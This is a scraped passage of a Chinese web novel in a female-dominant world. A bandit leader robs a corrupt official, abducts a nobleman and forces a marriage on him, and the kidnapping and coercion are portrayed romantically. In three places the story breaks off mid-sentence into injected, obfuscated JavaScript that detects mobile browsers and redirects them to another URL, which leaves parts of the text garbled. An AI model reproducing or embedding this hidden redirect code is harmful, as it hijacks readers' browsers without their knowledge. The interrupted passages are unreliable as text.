《强娶的美人不爱我(女尊)》 1. 第一章 “天冷了,年关在即,咱得干票大的,让姐妹们过个好年。” 冬日,龙头岭的山头一片雾蒙蒙,柳锐骑马停在山顶悠悠俯视全景,她身着灰衣,左肩上绑着黑色龙鳞般的软甲,一头微卷的长发被利索地束好,露出的是张线条流畅的脸,柳锐称得上漂亮,脸上的神情是漫不经心,似乎“干票大的”这件事于她而言就像踩死蚂蚁一样轻松。 在她身后,是数百个同样骑马的女子,她们呈蓄势待发之状,如同猛虎匍匐伺机出动。 柳锐,龙头寨大当家,山匪头子,年幼时被一山匪带回寨中抚养长大,二十岁那年打遍山寨无敌手,因此成为龙头寨自建立以来最年轻的大当家。 何为龙头寨?龙头寨便是依龙头岭而建的山寨,龙头岭地界是一处连接南北的咽喉要道,山上地势险峭,柳锐成为大当家后,山寨规模日益扩大,而她便也成了龙头岭的霸主。 今日,山下线人给柳锐传来消息,朝廷官员,五品御史薛良将回乡省亲,途径龙头岭。 薛良这个人,明面上是个清官,为百姓尊敬,可实际上却借职务之便欺压下属,收受贿银,多达十万两,她的下属官员中有人过不下去了,上山当了山匪,柳锐才因此得知此事,薛良富的流油,她一个靠掠夺为生的人自然不会轻易放过。 “吁——!” 天空中忽然传来一声鸟鸣,是一只灰色的山鹰在柳锐的上空盘旋,那是一个讯号,柳锐听见,漫不经心朝山鹰的方向抛出一根鱼干,随后果断拔出长刀,寒光一闪,指向山脚。 “她来了,我们走。” 山脚下的官道由青石板铺设而成,冬日潮湿,路边石像长满青苔,薛良尚且对即将发生的一切浑然不知,她坐在马背上缓慢行进,边骑边时不时回头看向身后的队伍。 在她身后,是她府里的数百名侍卫及书童,下人们拉着推车,车上装载着她大大小小的行李,薛良的视线却是越过这一切再往后看,在她的队伍后头,是一群由精兵护送的马车,那马车由梨花木造成,外观精致,马车窗户紧闭,不透露一点车厢内的景物,好似一个名贵的木匣,密不透风,只为保护里头价值连城的珍宝。 薛良回头盯了好久,盯的脖子都酸了才堪堪回头,耸着身子弯腰,看向在一侧走路的书童:“你说,我该不该去和顾公子打个招呼?” 书童眼珠子一转,点头道:“当然了,大人,顾太师的小公子鲜少有人见到,今日有幸与他同路,大人好好巴结,没准能留个好印象!” 顾太师,生于贵族世家,家中代代为官,顾太师本人更是朝廷的股肱之臣,虽权势滔天却又刚正不阿。 顾太师有两个女儿,皆是在朝为官,相比起两位姐姐,顾清低调许多,他是正儿八经的大家公子,自幼就在太师的要求下待字闺中不出楼阁半步,也从不抛头露面,因此百姓鲜少知道这位小公子的存在。 书童这话说到了薛良的心坎里,她忙不迭点头,随后勒着缰绳骑马朝后奔,奔到马车的一侧,陪笑对着那车窗行礼:“下官薛良,给顾公子行礼了,公子万安呐。” 马车内不似龙头岭萧索,香炉上有袅袅烟雾弥漫开来,香味清冽,御寒而用的狐皮大衣覆盖在美人的膝头,像悉心保护冬日里唯一一朵玉兰,顾清翻书的手一停,转眸徐徐向车窗的方向看去。 良久,就在薛良面上就要挂不住笑的时候,他终于回应:“客气了。” 这声音和缓却又平淡如水,但就是格外好听,薛良被这声音勾的心痒痒,赶紧趁机搭话:“哪里哪里,公子您身份尊贵,我向您请安是应该的,敢问公子这是要去哪里?” 马车外的随从回答了薛良的问题:“我们公子要去并州。” 并州离平城不远,骑马也就是两个时辰的路,这随从一回答,薛良就想起来了,顾太师的大女儿就在并州担任刺史一职务,已经两年未归京,顾公子今年已成年,顾太师好不容易才松口,允许他出远门看望自己姐姐。 “嗨呀,那太巧了,我欲回平城省亲,正好与顾公子同路一段,公子若不介意,下官便陪您一道走,同您聊聊天?” 凭心而论,顾清并不太喜欢和这个薛良搭话,但他今日总有种隐隐的不安,此刻有人搭话,也算缓解了这莫名的情绪,因此他没有着急拒绝,颔首道:“大人请便。” 得了同意,薛良便喜滋滋地跟在了顾清的队伍里,甚至还不惜挤开马车周身的随从,以便靠近了巴结:“京城人皆知,顾公子生得极美,举止端庄,聪慧过人,无数女君纷纷上门求娶,也不知小公子可否有自己心仪的人选了?” 顾清并不被这些讨好的话语触动,侧目看向窗外,轻声说:“成婚不讲究心仪,门当户对,不辱门楣即可。” 薛良倒有些意外,这个年纪的公子竟不在乎心仪与喜欢,只在乎门当户对,不过她转念一想,倒也想得通,顾清这样出身不凡的大家公子,必然从小就被家里灌输门当户对,维护家族地位与利益那一套的,他的择偶观念,必然与普通公子们有所不同。 薛良砸吧砸吧嘴,刚想借这个由头夸他头脑清醒,山路两边却突然传来一阵骇人的震动声。 薛良呼吸停滞,忽然大惊:“怎么回事!” 龙头岭的回音效果极好,马蹄声回荡其间,像是有千军万马向山下奔来,柳锐目光如炬,一眼认准队伍后方身着官服的薛良,同时也有些意外于薛良带的人手似乎有些多。 “回个乡而已,这人怎么这么大阵仗。”柳锐轻声嘟囔了下,不过这于她而言不是什么大事,于是她只是稍稍做了些部署:“二当家的,你领一伙人去后方截断所有行李即可,小六,这回人太多了,把老念制作的□□点燃抛出去,吓一吓她们。” 柳锐一声令下,后方的队伍里便传出火星子“滋啦!”的声音,紧接着数十个筒状的玩意飞出去,落在地上“砰!砰!砰!”的响。 □□,战场上才会用到的东西,山寨里的山匪也炼制了出来,威力还不小,它的巨响盖过了所有人的尖叫与惊呼声,整个龙头岭都陷入颤动之中,好似沉睡的巨龙苏醒了一般,尘土飞扬间无数马儿受了惊吓,嘶哑地鸣叫着,疯癫地争夺开束缚狂奔。 这一场面,可用一词来形容:群魔乱舞。 “行李也好,马也罢,薛良的东西都给我抢走,一件不留。”□□爆炸的声音不断,柳锐冷静地好似听不见,一刀斩下几颗人头,同时下达新的指令。 山道上一片混乱,薛良脸色大变,惊慌失措地举起双手大声嚷嚷:“各位姐们,我…我是好官啊,你们不是从来不打劫好官的吗,你们是不是寻错人了啊!” 原来,因为寨中有不少山匪是被生活所迫逼上山的穷苦人,因此寨中曾立下个颇有些侠气的规矩,若是龙头寨打劫遇上为民的清廉好官,那便放她一马,这条规矩随着龙头寨一起闻名于世,为百官所熟知,薛良先前伪装的好,几次回乡省亲,都没收到过任何阻碍,只可惜这次有人告密,柳锐知道她富,自然就饶不了她了。 “放你爹的狗屁好官,找的就是你!”二当家的极其暴躁,提刀骑马奔来,大声喝骂。 “啊———!山匪抢劫啦!” “快点跑!” 火药四溅,人仰马翻,薛良见山匪根本不听她的话,又见那闪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那马车由梨花木制成,雕刻精细,只可惜因着载马车的马儿受惊倒下,马车也在方才□□的震动间轰然倒地,车厢几乎都要散架,部件落了一地,也难怪大家不搭理那马车,若是完整的马车,必能在山下卖出个好价钱,破成这样,就只能用来当火柴烧了。 柳锐走上前,一脚踩在那车厢上,弯腰推开车门,漫不经心朝里一瞥,想要查看里面是否还藏着没逃走的人。 扑鼻而来的是一阵淡淡香气,香气过后,她周身的空气一齐凝固。 车厢里是一个男子,他躺在一件雪白的狐皮大衣之下昏睡着,乌木色的长发披散在肩,肌肤如玉石一样白皙,双眉微蹙起,好似在睡梦中忍着什么疼痛,纤长的睫毛在日落中映出玫瑰色的影,浅浅落下,为他苍白的脸颊添一抹殊色,他穿着件绿色的衣裳,那种绿与冬日违和,更像是春日,与他精致美丽的容貌相应,脆弱又美好。 柳锐看着面前这幅美人入睡图,愣怔间心脏狂跳。 “给咱们告密的人提到过,薛良没有弟弟,前几年借着官威名望娶了个漂亮夫郎,这应该就是她的夫郎,啧啧啧,薛良那个狗贼竟然有这么美丽的家眷,她倒是不珍惜,自己逃跑,竟把家眷给撂下了。” 听见边上的说话声,柳锐才回过神来,发觉二当家不知不觉中凑到她跟前,同她一起欣赏面前的美人,柳锐看了她一眼,不咸不淡地轻声一笑:“她不配有这样美的夫郎。” 二当家眼神变得意味深长起来:“那你觉得谁配?” 山匪,强盗,奉行一个原则,喜欢什么,就自己动手抢,抢到就归她所有,龙头寨之主柳锐自幼奉行这一原则,她喜欢的,就一定要得手。 面对二当家的问题,柳锐没说话,俯身进去,将人抱出来锢在怀里,接着对一众山匪们朗声宣布。 “这个人是我的了,我今晚就要娶他,让他做我的压寨夫郎。” 2. 第二章 日暮。 顾清昏睡许久,直至房外的喧嚣声越来越大,他才有些虚弱地睁开双眼。 脑袋酸胀得疼,顾清皱着眉抬手按揉太阳穴,待完全清醒,才坐起身环顾四周。 床上的被褥是虎皮,床下是以箱来计数的珠宝,名贵的夜明珠,价值连城的玉连环还有玛瑙翡翠…这些在外被人珍藏的东西,在这里却是随意堆叠,好似破铜烂铁,顾清一眼就认出墙上挂着许多名家画作,然而房间主人似乎毫不珍惜,搁在那吃灰,反而是挂在墙上的一把长刀擦的锃亮。 好没品味的房主,然而这是哪?顾清努力回忆,才发觉记忆的最后,是有什么莫名的东西炸在他车边,他还没来及反应,马车就受到波及震翻了过去,而他也受到撞击再没有意识。 “哟,您醒了呀。” 顾清闻声侧目,看见个半边袖子是虎皮的男人端着东西进来,正一脸笑嘻嘻。 “这是何地?” “龙头寨,您没听过?” 龙头寨三个字一出,顾清神色一变,不敢置信地起身推窗,待看清眼前景象,他整个人瞬间僵住,站在那一动不动。 “唉…这是什么反应,多少人想来还找不着位置呢。”那男人看他一言不发,摇头叹口气,把端进来的东西在床上铺展开来。 “喜服给您放床头了,您记着穿,就要嫁人了,别板着脸不开心,那多晦气。” 顾清的一双如玉的手瞬间攥紧窗檐:“我要嫁给谁?” “自然是我们龙头寨的大当家,柳锐!” —— 龙头寨位于龙头岭最深处的山谷之间,山寨里的楼阁都由竹子与木头制成,如寻常村落一样聚集,竹楼的周围有围墙环绕,即使是夜晚,也依旧有山匪不断巡逻。 篝火下,众山匪聚集在一起,每人都有一碗热乎乎的羊汤和脸那般大的面饼,柳锐坐在最中央,她捧着碗清酒喝,目光一一扫过眼前众姐妹。 “今日是除夕,咱们…嗝,有两个好消息,首先,咱们今天干到票大的,狠狠宰了那薛良一笔,其次,是咱们和蔼可亲的大当家成亲啦!” 二当家叫包子,是个独眼女人,她晕乎乎起身敬酒,柳锐利索地碰碗后一口干,随后有些疑惑地托腮:“和蔼可亲…原来是这样用的么?” “大当家,我们把从薛良那打劫来的东西都一一清点过了,她随行就带了一万两银子,瓷器若干,银票统共也有五千两,不过其中有一样需要您亲自过目做决断。” 说话的叫老念,她年逾四十,虽不通武艺,却会做□□,还会算账,阅历比两个柳锐加起来还丰富,柳锐把她视为自己干娘。 柳锐抿一口酒,不轻不重朝带上来的东西里一瞧,那是五个巨大的木箱,箱子里细若白雪的东西,在篝火的映照下像有层鲜血笼罩其上。 她抬手捻了一点放到鼻尖,旋即笑道:“这么多盐巴,薛良一个人吃岂不是噎死,看来这就是她多年来牟利的路子。” 贩盐是暴利的行当,因此盐井向来由朝廷机构把控,百姓也只能在朝廷指定的渠道购买官盐,私自贩盐是死罪,但薛良见钱眼开,这回归乡省亲,也是想要在平城黑市暗中贩盐。 “大当家,那这些盐该如何处置?” 贩盐的罪行若被揭发,必要牵连九族,女的通通斩首,男的发配为奴,柳锐忽而想到了自己抢回来的美人,薛良获罪,他出山便是被抓去为奴,幸好自己把他抢来,否则也不知他来日要跟着遭受多大的罪,旁人要跟着薛良吃苦,他却只需要跟着她做山里的霸主。 “山寨里不缺盐,让我给这些盐想个好去处…她既然敢回平城贩盐,那就说明平城官府内的关系被她打通了不少,把这些盐送去平城,自是不会伤她分毫,至于别的地方,平城边上是并州,并州刺史是谁来着?” “好像是姓顾,据说是太师的女儿,为人很刚正。” 柳锐随即敲定此事:“那就把这些盐送去并州,清晨放在这位刺史大人的门口,就说是薛良大人在山道上被打劫时遗失的行李,现在如数归还,至于能否给薛良治罪,就看那刺史的本事了。” “嗨哟,大当家这回怎么这么狠。”包子在旁一惊。 “哈哈哈,一定是为了那美人,薛良被砍头,小美人没别的去路,就只能归大当家喽!” 姐妹们一阵哄闹,柳锐也不反驳,低头笑着喝酒。 除夕夜,山匪们就饱饭足后闲来无事,嚷着要一块玩投壶,谁赢谁就能从今日的胜利品里随意挑一件喜欢的,会玩的摩拳擦掌,不会玩的就在一旁敲鼓助兴,柳锐没心思玩这个,她对于“人生第一次成婚”这件事还挺看重的,学着民间的习俗穿了红色的喜服,一个人先行回了自己的竹楼。 柳锐自己一人住这座竹楼,她今日一回来就命人将整座楼装点一番,挂上红灯笼,系上红绸缎…总之什么都要红,喜气洋洋的,让她自踏进楼中便感觉喜庆。 “大当家回来了!小的已经按照您的吩咐,给那位美人送了新衣服,又和他仔细交代一番,不过他似乎不是很开心,一直想要离开,小的就擅自作主,把他绑起来了。” 柳锐喊了个干杂活的男山匪来看守顾清,眼见她回来,小山匪忙不迭跟着,脸上满是讨好的笑。 “绑起来了?”柳锐对这个结果倒也是不意外,抬手一挥:“行了,接下来用不着你,出去吧,明日起专门留在这伺候他。” 小山匪千恩万谢地走了,柳锐才回到房间,推门而入,一眼便望见坐在床上的美人,他没有换上喜服,依旧是一身清淡如雪的装束,因为被粗麻绳绑着,他衣衫有些凌乱,雪白的脖颈下露出小半锁骨的线条,让人禁不住浮想联翩,白日里他昏睡着,闭目恬静美好,现如今他醒了,正皱眉死死盯着她,一双漂亮的眼睛里隐隐有泪和气。 “你就是柳锐?” 柳锐看着他有些走神,听到问话才发觉他的声音也是格外好听,颔首道:“不错。” 顾清强忍住心头泛起的厌恶与憎恨,问她道:“你可知你抢回来的是谁,你可知我的身份?” “知道啊,我就是知道才抢的。”柳锐神情是极为轻描淡写,关上门步步逼近,不过她把顾清此刻的愤怒看作是他在恪守夫道,还对薛良有感情的表现,于是嗤笑一声:“既然已经归我了,就不必提那些,有些人不值得你跟随,那个家你回去也是遭罪,跟着我,我保证你既有尊荣,又有自由。” 听听这话究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319262|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟是有多不知天高地厚?初出家门的顾小公子被震惊到眸子颤动:“你凭什么替我评断值得不值得,我又凭什么要嫁给你这种不知天高地厚的亡命之徒?” 顾清从小到大就没生过这么大的气,他气得眼眶泛红,他记得母亲的教诲,他是太师家尊贵的公子,在家要性情温顺孝敬母父与姐姐,守在闺阁中认真学习男红与男德,不抛头露面,不做出格之事,等到成年后按照母父之命嫁给和顾家一样权势滔天的妻主,然后伺候妻主与婆公,为妻主开枝散叶,相妻教女,领皇家的诰命,做天下公子们的表率。 他曾在夜深人静时幻想自己来日会嫁给什么样的人,他爱读书,偏偏家里又都是武将,与他谈不到一起去,于是他来日想嫁给一个书香世家,在门当户对的基础上能与他一起谈论诗词就好了,那样他就知足。 可眼前这个柳锐呢,既不权势滔天,也不会吟诗作赋,一双手沾满别人的鲜血,他哪里会看上她?若不是被她强掳走,这女人这辈子都没资格看见顾家公子的真容,连凑近请安的资格都没有。 “凭我喜欢你,我喜欢,我就要弄到手。” 柳锐一脸理所当然,毕竟她从小就在山匪的教育下奉行一套唯我独尊的思想,然而这句话却让顾清愈加恨她,径直脱口而出:“可我不喜欢你!我不仅不喜欢你,我还讨厌你,我就是死也不会嫁给你这种卑鄙无耻之人。” 柳锐脸色一沉,走到他面前去,不过当她靠近顾清时,她的怒气却又被他周身淡淡的香味冲散了,她俯视着气到要流眼泪的顾清,心道美人不愧是美人,即使生气也是楚楚动人,他也不知是被怎么养大的,从头美到脚,生气时泪光潋滟,双眉皱起,如同一朵娇花,却又不谙世事地敢开口激怒一个杀人不眨眼的山匪。 于是她一笑,以睥睨的姿态看他:“既然你说我卑鄙无耻,我便卑鄙、无耻到底,左右我也只是喜欢你这张脸,想要得到你的身子罢了。” “什么…你放开我…你禽兽不如!” 原来,柳锐竟直接伸手将他压倒,顾清极其不情愿,拼命将头别开,柳锐伸手硬掰住他的下巴,强迫他转过头直视她,他像受了极大屈辱,一与她对视就是满眼的憎恨厌恶,而柳锐只将目光移向他的唇,据说美人软香如玉,她想尝尝,这样的唇该是什么味道。 “放开…我,你若真的敢碰我,我就和你同归于尽。”顾清被她控制,挣扎着挤出话威胁警告。 “怎么个同归于尽法?拿你好看的眼睛瞪死我么?” 柳锐不以为意,正要逼近的时候,却突然发觉一道银光袭来,“唰!”的一下划出一道风声! 她凭着本能往后一退,却还是被尖锐利器划到了脸。 温热的血珠流出,柳锐一抹脸上小的伤口,摸到一点殷红便送至唇边尝了下,那陌生又熟悉的铁锈味让她神情几度变幻,血色让她多了种山鬼才有的妖冶,良久,她歪头疑惑了会,方抬眸看向对面。 “滚。”顾清红着眼框,绑紧他的麻绳不知何时松了,他紧紧握着剪刀面向柳锐,明明肩膀颤动,说话时的气息都不稳,可声音异常坚决。 “滚出去,不许碰我,你今日若靠近我半步,我就拿这把剪子,戳烂你的心。” 3. 第三章 山风拂面,柳锐趴在竹楼的栏杆上静静俯视山寨,抬手摸过伤口,在感受到刺痛后忽而轻声笑了出来。 出乎意料,这美人看起来该是朵娇弱的花,可以任她摆弄,却不想性子还有点烈,死活不从,柳锐突然就觉得他有意思,不止是皮相,性子也合她胃口。 “吁——”天空中不合时宜地传来山鹰的叫声,柳锐扫一眼盘旋的山鹰,熟练地朝它抬起手,得到指令的山鹰一个俯冲,稳稳落在她的臂膀上,在得到一些羊肉糜后,方满意地抖动翅膀,振臂一飞。 那是柳锐的鹰,山里生活不便,不能只依靠人类的力量,因此有本事的山匪们常会驯养一些山中猛兽,在动物的帮助下打猎或打劫。 初次见这鹰时,她便被它漂亮的羽毛吸引,一心想将其驯服占为己有,可谁知它很不喜欢柳锐,常常把她啄的浑身是伤,旁人都说她该早些放弃,但柳锐不肯,与它僵持许久后终于成功,她仍记得这只鹰第一次向她乖乖低头的瞬间,那时苦尽甘来,她尝到了前所未有的快乐,她喜欢这种驯服成功后的满足感,只是这些年要风得风,要雨得雨,需要让她费心思去驯服的对象,她再没遇上第二个。 但她现在遇到了。 “那样美丽的一双眼睛,看我时却是充满厌恶与憎恨那样丑陋的情绪,倘若他看向我时的目光是柔和的,那该会是多么好看的模样呢?”柳锐在夜风下喃喃自语,眼睛里迸发出亮光来。 她心中有一个声音:她不止想驯服他的身体,更想驯服他的心。 一阵进院子的脚步声打断了柳锐的思绪,她收敛起自己眼底的光,冷声问楼下道:“谁?” “是我,大当家的,姐妹们没喝尽兴,我想来你仓库里取点好酒。”楼下传来二当家包子的声音,不过紧接着包子一愣:“唉?你今晚不是洞房么?怎么一个人跑出来吹冷风?” “拿酒就拿酒,怎么这么啰嗦…屋里太热了,我想出来吹会风,待会就回去。” 柳锐平生第一次说话如此不自然,边说边用手摸了摸鼻子,甚是心虚,虽说她对于那美人的行为丝毫不感到侮辱生气,可若是叫包子她们知道她新婚之夜被夫郎划伤脸逼出去了,那…作为一个老大也是太没脸了。 “大当家你这一切顺利,那我就能放心回去告诉老寨主了。”包子意味深长地笑笑,“老寨主听说你抢了男人回来当压寨夫郎,乐得不行,又担心你没有玩男人的经验,抢到人却搞不定,所以叫我顺便来看一眼,回去给她报个信嘞。” 听到老寨主三个字,柳锐沉默下来,包子拎了瓶酒离开,走时留下句:“既然成了婚,明是大年初一,咱们得和寨里的长老聚一块吃顿饭,记得带上你夫郎,叫长老们看一看” 这似乎有些难,但柳锐没有拒绝,沉默半晌后回答:“知道了。” 片刻后,柳锐转头,再度走回自己的房间。 顾清正抱膝缩在床上流泪,一滴滴眼泪悄无声息地滑过脸庞,单薄的身形在微弱的烛光下显得更加无助,听得推门声,他猛然一惊,抬眸看见是她,瞬间警惕地握紧剪子:“你又进来做什么?” “这是我的房间,我想进,哪有那么多理由。”柳锐想要径直坐到他身边,但瞥见他眼底对她靠近而愈发浓烈的厌恶,便改了个方向,坐到对面躺椅上:“你可以把剪子收起来了,我今晚没心思碰你。” “我才不信你的鬼话。”顾清的睫毛沾了泪,眼眶泛红,一副梨花带雨的模样死死盯着她,手里的剪子握得更紧了。 这简直就像受惊吓过猛而应激的幼兽,当务之急是安抚他情绪,让他放松戒备,随后采取长期作战的策略,温水煮青蛙,让他慢慢陷进去。 柳锐思考片刻,嘴角扬起个弧度:“敢不敢与我做个交易?” 顾清幽幽抬起头,没有开口,她便自己说下去了:“三个月内,你我在寨子里当着众人做一对假妻夫,未经你允许的前提下,我不碰你分毫,但你也不能离开山寨,更不能离开我身边,三月的期限一到,我就放你全须全尾的下山,如何?” 相比起真被她强行占有做夫郎一辈子,这桩交易简直是十分划算,不被她染指,那他的守宫砂就还在,他就还能为未来的妻主守洁,届时只要母亲帮他,对外称是去乡下养病三个月,那一切都还有回旋的余地,他还能回到自己正常的生活中。 但一个时辰前她还要霸王硬上弓的,为何一个时辰后就突然变了? 顾清盯着她微微蹙眉:“此话当真? “君子一言,驷马难追,我若是言而无信之徒,也坐不到今天这个让所有人信服的位置上。” 这交易当然是柳锐拿来让顾清放松警惕的,当年将鹰驯到低头,她花了三个月的时间,因此这回驯服顾清,她也只给自己三个月,倘若真失败了,那她也倒是真愿意服输于这美人,乖乖放他走。 见顾清仍是一脸犹疑,柳锐轻描淡写地补充:“当然了,若三个月后你对我心动,不肯走了,我也能接受。” 顾清立刻冷下脸:“我劝你不要痴心妄想,休要提三个月,就是三年,三十年,到海枯石川我顾清也不会喜欢你,若不是你硬要抢,我们这辈子见面的机会恐怕只有在刑场,你在台上,我在台下。” 这点冷言冷语自然不会难倒柳锐,比起这个,她更关注于自己第一次听到他名字,顾清,青山的青还是清白的清?不知道,但念起来是好名字,她今日好像听说什么人也是姓顾来着,这顾不愧是大姓,同姓的多,但顾清的名字尤为好听顺耳。 于是柳锐跟没听到他咒她似的,托腮看着他,眨眨眼:“所以,你同意我的交易了,顾清?” 这是他唯一摆脱她的机会,顾清当然不会放弃,片刻后面无表情点点头:“一言为定,我随身带着利器,就算你届时赖账想要强迫我,我也绝不会让你如愿。” —— 翌日清晨,天刚拂晓,寨子里就冒起袅袅青烟,为今日的饭菜茶水做准备,柳锐也换上了一身黑色的锦衣,配上一件油光水滑的裘氅,她今日很难得的擦了一点点粉,以掩盖那道细微的划痕,一头墨发用支前朝流传下来的翡翠簪子挽起,瞧着颇有大当家的英气,又不失美感。 顾清没有想到达成交易第二天就要开始演戏,因此离开竹楼时格外不情愿,尤其是当柳锐要假模假样挽着他袖子时,他皱着眉后退三步:“你做什么,第一日便想反悔了么?” 柳锐悠悠收回手:“妻夫出门都是要互相挽着的,假扮夫郎那就得有个随妻主出门的样子。” 听见她和他提妻主与夫郎这一对词,顾清便觉得心里一阵恶心,睫毛轻颤强忍着道:“关系好的妻夫才会那么做,你的交易里只说了妻夫,又没说恩爱的假妻夫,所以你不许挽我的袖子,我们各走各的路。” 哟,他还怪会挑字眼的,柳锐心底暗笑一声,没再执意要靠近,不轻不重道:“知道了,不恩爱的夫郎。” 龙头寨里有专门设立的议事厅,上挂一个写的歪七扭八的匾额:隆兴堂,这字是老寨主留下的,沿用至今,柳锐一进门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说话间,底下人呈上一对成色极好的翡翠玉镯,一眼看去便是价值不菲,柳锐第一次见老寨主自己家传下来的东西,稍有些讶异,有些感动地作揖:“多谢柳阿娘关照!” “别说那些虚的,你俩快戴上让我瞧瞧!” 在老寨主的催促下,柳锐很快戴上了属于自己的那只手镯,她回头看顾清,他一动不动,直到周遭都安静下来了,他才缓缓伸手,将玉镯戴上。 “快瞧快瞧!” “真好看,很般配!” … 聊了小半个时辰,柳阿娘便起了困意,她到底是年纪大,不比年轻人有精神,柳锐便命人扶着回去歇息,长老们问过了今年寨子里的收获,便再没什么需要问的,便放柳锐领着新夫郎先回去休息,两人走出来没多久,顾清突然问道:“这手镯,送我了?” 柳锐转头往下瞥了眼,不得不说,顾清的手也好看,骨节分明,手腕的肌肤洁白,这样的手戴上玉镯正适合,极其衬他。 听到他问手镯,柳锐以为他是有些喜欢这镯子,于是道:“柳阿娘戴在你手上,自然就是你的了,你以后想怎么戴便怎么戴吧。” 顾清安静地回过身找了张石桌,柳锐尚未反应过来,便见他垂头,将手腕对着桌沿用力一掷。 只听“咔嚓!”一声脆响,那只翡翠手镯一分为二,猝然地落在地上,又摔出许多碎块来,在阳光下是无数浓郁的翠绿。 顾清捂着因磕碰而泛红的手腕走开,轻飘飘给她一句解释:“这个玉镯的谐音寓意都不好,我不喜欢。” 4. 第四章 不喜欢,所以摔了。 柳锐前一刻轻松的笑容凝固,沉着脸转头,快步追上离开的顾清,一把将他拽回身,让他被迫面对她冷冷的质问:“你做什么,你这是砸玉,还是在砸我的脸?” 顾清不喜欢被人生拉硬拽的感觉,侧过脸避开她视线,语气淡漠“我不过是在砸自己的东西,和你的脸面有什么关系,柳寨主该不会突然反悔,想把送出去的手镯收回去吧。” 是啊,送他了,那就是他的东西,不管他戴还是砸,旁人都管不着,于理他无错可挑,于情…顾清和她之间有怨无情,砸她一个手镯泄愤都算轻的。 但她还是气他这般不识抬举的态度,下一秒抬手捏住他的下巴,顾清一惊,想要挣脱,但他越挣扎,柳锐手上的力气就越大,他吃痛没有办法,只得蹙眉看向她:“你要做什么?” 柳锐端详着顾清因为疼痛而颤抖却又强撑镇定的眸子,指腹摩挲过他皮肤上被捏出的红痕:“送出去的东西也好,交易也罢,我言而有信,必不会食言,但你最好别轻易惹怒我,我是个无恶不作的强盗,没有底线也没有道德,一旦气急冲动起来,那我也不保证那桩交易就真能护你周全。” 她看着顾清水灵灵的眼睛里划过一丝恐惧,阴郁的心情逐渐奇妙地好了起来…就在这时,一旁的大树后传来“咯吱”一声轻响。 柳锐面色一冷,松开顾清转头看去:“谁,赶紧给我滚出来。” 片刻后,树后挪出一个女子,她长得像颗豆芽菜,佝偻着身子一脸讨好的笑容:“大当家别气,方才阳光好,我在这晒了会便睡着了,醒来才发现您在,不是有意要偷听。” 柳锐平生最讨厌别人偷听她说话,然而看清是谁后,柳锐的脸上由怒转笑,微眯着眼:“原来是小黑,我还以为是包子那个八卦的,罢了,我不管你,你继续晒你的太阳便是了。” 小黑忙不迭点头“哎!”一声,可却没着急走,而是往地上一瞧,朝着柳锐憨厚老实一笑:“大当家不轻易弯腰的,我帮您把碎玉捡起来。” 柳锐看着那一地狼藉,沉默着没有反对,她本打算逼着顾清将东西捡起来,现在有人帮,她忽而也就不想逼着他做什么了,只是转过身来,却发现顾清已经悄无声息地离开许久,只留一道背影给她。 他已经当着众人面和她装过假妻夫了,虽然态度不友善,也没有热情,甚至事后还砸了长辈送的玉镯,但不论怎么说,他确实是按照她们之间的交易做的,比起昨日在她脸上划一口子,今日显然是个不小的进步。 今日就先饶他一遭,她还有接下来的一百天慢慢磨他的性子。 “大当家,我帮您把玉捡起来包好了,这玉瞧着好极了,碎成这样倒可惜,不如我去帮您把它们送到念姐那,她会修首饰的嘞。” 从思绪中回过神,柳锐将视线落在小黑包好的小布包上,她以耐人寻味地目光打量了下她:“刚来小半年就和老念混熟了,老念家里原是做金缮的,这事寨子里很少有人知道。” 金缮,就是以天然的材质修补残缺器物,只有手巧的专业工匠才能做成此事,老念祖传三代都是金缮匠人,到她才做了土匪。 小黑笑两声,不好意思地挠挠头,然而还没等她想出该如何回答,她手上便闪起一道金光,是柳锐将五根金条塞她手上,小黑立刻惊得瞪大眼睛:“大当家,这这这…” “薛良的情报是你透露的,这是你应得的额外奖赏。”柳锐声音平淡,像浑然忘了刚才的话题,盯着她的脸一字一句提醒:“日后多为寨里做事,自然少不了你的好处。” 小黑忙不迭收好金条:“多谢大当家,小的绝不辜负大当家的期待!” —— 山寨里忙活了半日才做好饭菜,按照规矩,寨中不分女男老少,大年初一都要聚在一起用饭,看着不少人是拖家带口,其乐融融地坐在桌前,柳锐就想唤人将顾清叫来,然而得到的答复是顾公子说不喜太热闹的地方,不来,她再去派人请,他便谁都不搭理了。 不恩爱的假妻夫便连一起吃顿饭的脸都不赏,柳锐一直忙到夜里回房,才得空见顾清一面,在山寨里度过了一整个白日,他的情绪没再像昨夜那般激动,柳锐看见他时,顾清已然找到了自己打发时间的方式,他不知从哪寻来一本书,正在烛光下捧书默读,无人打扰时,他周遭的氛围恬静又美好,以至于柳锐都瞬时忘了要讲他今日午饭不给面子的事。 柳锐想和他搭几句话聊聊,于是她边将自己身上的裘氅脱下挂好,边装作轻松随意地问他道:“在看书?” 顾清眼睛都不抬一下:“你院里下人拿来的,不是我偷的。” “你这人真是好笑,我何时说你偷书了,你若喜欢书,我就命她们把山寨里的书都搜罗来给你,我打劫的不少都是文官,她们的行李中不仅有钱,还有不少书。” 听到她提起打劫时的语气那么稀松平常,顾清有些厌烦地闭上眼,拼命忍耐吞咽那些情绪,片刻后才再度睁眼,面无表情地看着书,只不过柳锐没观察到他这一细微的动作,自顾自坐他对面,往书上瞄了一眼:“这书上写的什么?” 